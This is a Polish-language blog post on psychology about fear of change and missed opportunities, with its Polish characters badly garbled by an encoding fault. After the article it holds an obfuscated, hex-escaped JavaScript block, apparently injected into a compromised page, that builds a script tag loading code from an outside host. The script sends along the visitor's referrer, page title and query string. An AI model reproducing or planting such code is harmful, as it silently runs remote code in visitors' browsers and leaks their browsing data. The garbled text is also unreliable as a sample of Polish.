Co byA� zrobiA�, gdybyA� siA� nie baA�?

opublikowane w Najnowsze Wpisy, Psychologia | 0

Na drodze kaA?dego z nas pojawiajA� siA� od czasu do czasu okolicznoA�ci dajA�ce szansA� na zmienienie czegoA� w swoimA�A?yciu. Wielu z nas na takA� szansA� czeka, jednak kiedy pojawia siA� – nie wykorzystuje jej. PociA�ga nas nowe i nieznane, z drugiej jednak strony boimy siA� zaryzykowaA�. Szukamy wymA?wek, by danej szansy nie wykorzystaA�, a potem dalej narzekamy jak to nudno i A?le jest w naszym A?yciu.

TrochA� z wA�asnego doA�wiadczenia, trochA� z doA�wiadczenia ludzi, ktA?rych znam lepiej lub gorzej, trochA� z zasA�yszanych gdzieA� historii – mogA� powiedzieA�, A?e jest stanowczo za duA?o nieszczA�A�A� spowodowanych strachem przed zmianA�.A�Znam ludzi, ktA?rzy nienawidzA� swojej pracy, ale dzieA� w dzieA� od lat jA� wykonujA�. Znam tkwiA�cych w nieszczA�A�liwych zwiA�zkach, w ktA?rych od dawna nic siA� nie tli albo gorzej – nie tliA�o siA� nigdy, a wybA?r byA� czysto racjonalny. Znam dziewczynA�, ktA?ra przepiA�knie A�piewa, ale jej nieA�miaA�oA�A� i strach przed pokazaniem siA� sprawiajA�, A?e nikt nigdy jej nie usA�yszy. Znam takich, ktA?rzy majA� wielkie cele i potencjaA�, A?eby je osiA�gnA�A� albo idealistyczne myA�li i chA�A� zmieniania A�wiata. Ale na tych chA�ciach siA� koA�czy.

Jak powiedziaA� JA?zef Ignacy Kraszewski: a�zLudzie bojA� siA� zmian, nawet na lepszea�?. Okazuje siA�, A?e jesteA�my doA�A� konserwatywni poznawczo. Bez wA�tpienia wszyscy pragniemy szczA�A�cia, ale nie chcemy rezygnowaA� z A�poczucia bezpieczeA�stwa, ktA?re mamy. Obawiamy siA�, A?e zmiana wyjdzie nam na gorsze. Pragniemy jej, ale czA�sto strach jest zbyt silny, by sobie na niA� pozwoliA�. Nawet jeA�li tkwimy w niekorzystnej sytuacji, wolimy to, co znamy. Boimy siA� zburzyA� ten kiepski, choA� bezpieczny A�wiat i pA?jA�A� w nowe, nieznanea�� Wolimy czekaA�, aA? los zadziaA�a za nas i w ten sposA?b stale na coA� czekamy. Nawet, gdy jesteA�my przekonani, A?e postawienie wszystkiego na jednA� kartA� zmieniA�oby nasze A?ycie na lepsze, nie robimy tego. MoA?e boimy siA�, A?e to, czego naprawdA� pragniemy to za sA�aba karta?

To, co najczA�A�ciej powstrzymuje nas przed zmianA� to lA�k przed utratA� poczucia bezpieczeA�stwa, a jak wiemy jest ona jednA� z podstawowych potrzeb czA�owieka. Racjonalny lA�k wynika ze strachu przed nowym, przed utratA� pewnej wygody, starych przyzwyczajeA�. Dodatkowym problemem jest niepewnoA�A� nowych okolicznoA�ci. Podobno nasz mA?zg odczuwa niepokA?j w niejasnej sytuacji podobnie jak bA?l fizyczny. To wszystko sprawia, A?e nawet jeA�li zmiany obiecujA� coA� dobrego, to czA�sto wolimy nie ryzykowaA� i pozostaA� przy starym.A�Sam strach przed zmianA� nie jest niczym zA�ym. Jest nawet caA�kiem normalnym objawem. Wszyscy odwaA?ni ludzie odczuwajA� strach. WaA?ne jest, by umieA� odpowiednio do tej emocji podejA�A�, A�wiadomie siA� z niA� obchodziA�. Nie moA?emy wyeliminowaA� lA�ku, ale moA?emy sprawiA�, A?e nie zaA�lepi nas on w A?adnej dziedzinie naszego A?ycia, nie bA�dzie wpA�ywaA� na nasze decyzje. Strach moA?na zminimalizowaA� przezA�konkretne nawyki myA�lowe, dziaA�ania i odpowiednie podejA�cie do A?ycia.

Na drodze dokonywania zmian waA?nym etapem jest uA�wiadomienie sobie, A?e nie jesteA�my niewolnikami rzeczywistoA�ci. Nasze A?ycie w duA?ej mierze zaleA?y od nas, a to, w jakim stopniu je ksztaA�tujemy, zaleA?y miA�dzy innymi wA�aA�nie od odwagi i determinacji. Warto teA? powstrzymaA� siA� od kreowania w gA�ownie czarnych scenariuszy. Tym bardziej, A?e podobno 99 procent tego, czego siA� boimy nigdy siA� nie zdarza. MyA�lA�c negatywnie uruchamiamy emocje, ktA?re rzutujA� na nasze myA�li i paraliA?ujA� dziaA�anie. Spada nasza samoocena, jesteA�my wobec siebie bardziej krytyczni, tracimy wiarA� w to, A?e moA?e nam siA� udaA�. Warto wiA�c potraktowaA� zmianA� jako wyzwanie, sprA?bowaA� popatrzeA� na sytuacjA� z boku – czy inni oceniliby jA� tak samo jak ja? Trzeba takA?e uA�wiadomiA� sobie, A?e kaA?da zmiana na jakA� siA� decydujemy jest dla nas rozwijajA�ca, jest nowym doA�wiadczeniem, z ktA?rego moA?na coA� wyciA�gnA�A�. No i na koniec pamiA�tajmy o mA�drych sA�owach Bruce’a Lee: „Celem czA�owieka jest dziaA�anie, a nie myA�l, bez wzglA�du na to, jak szlachetna by ona nie byA�a”.


 var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}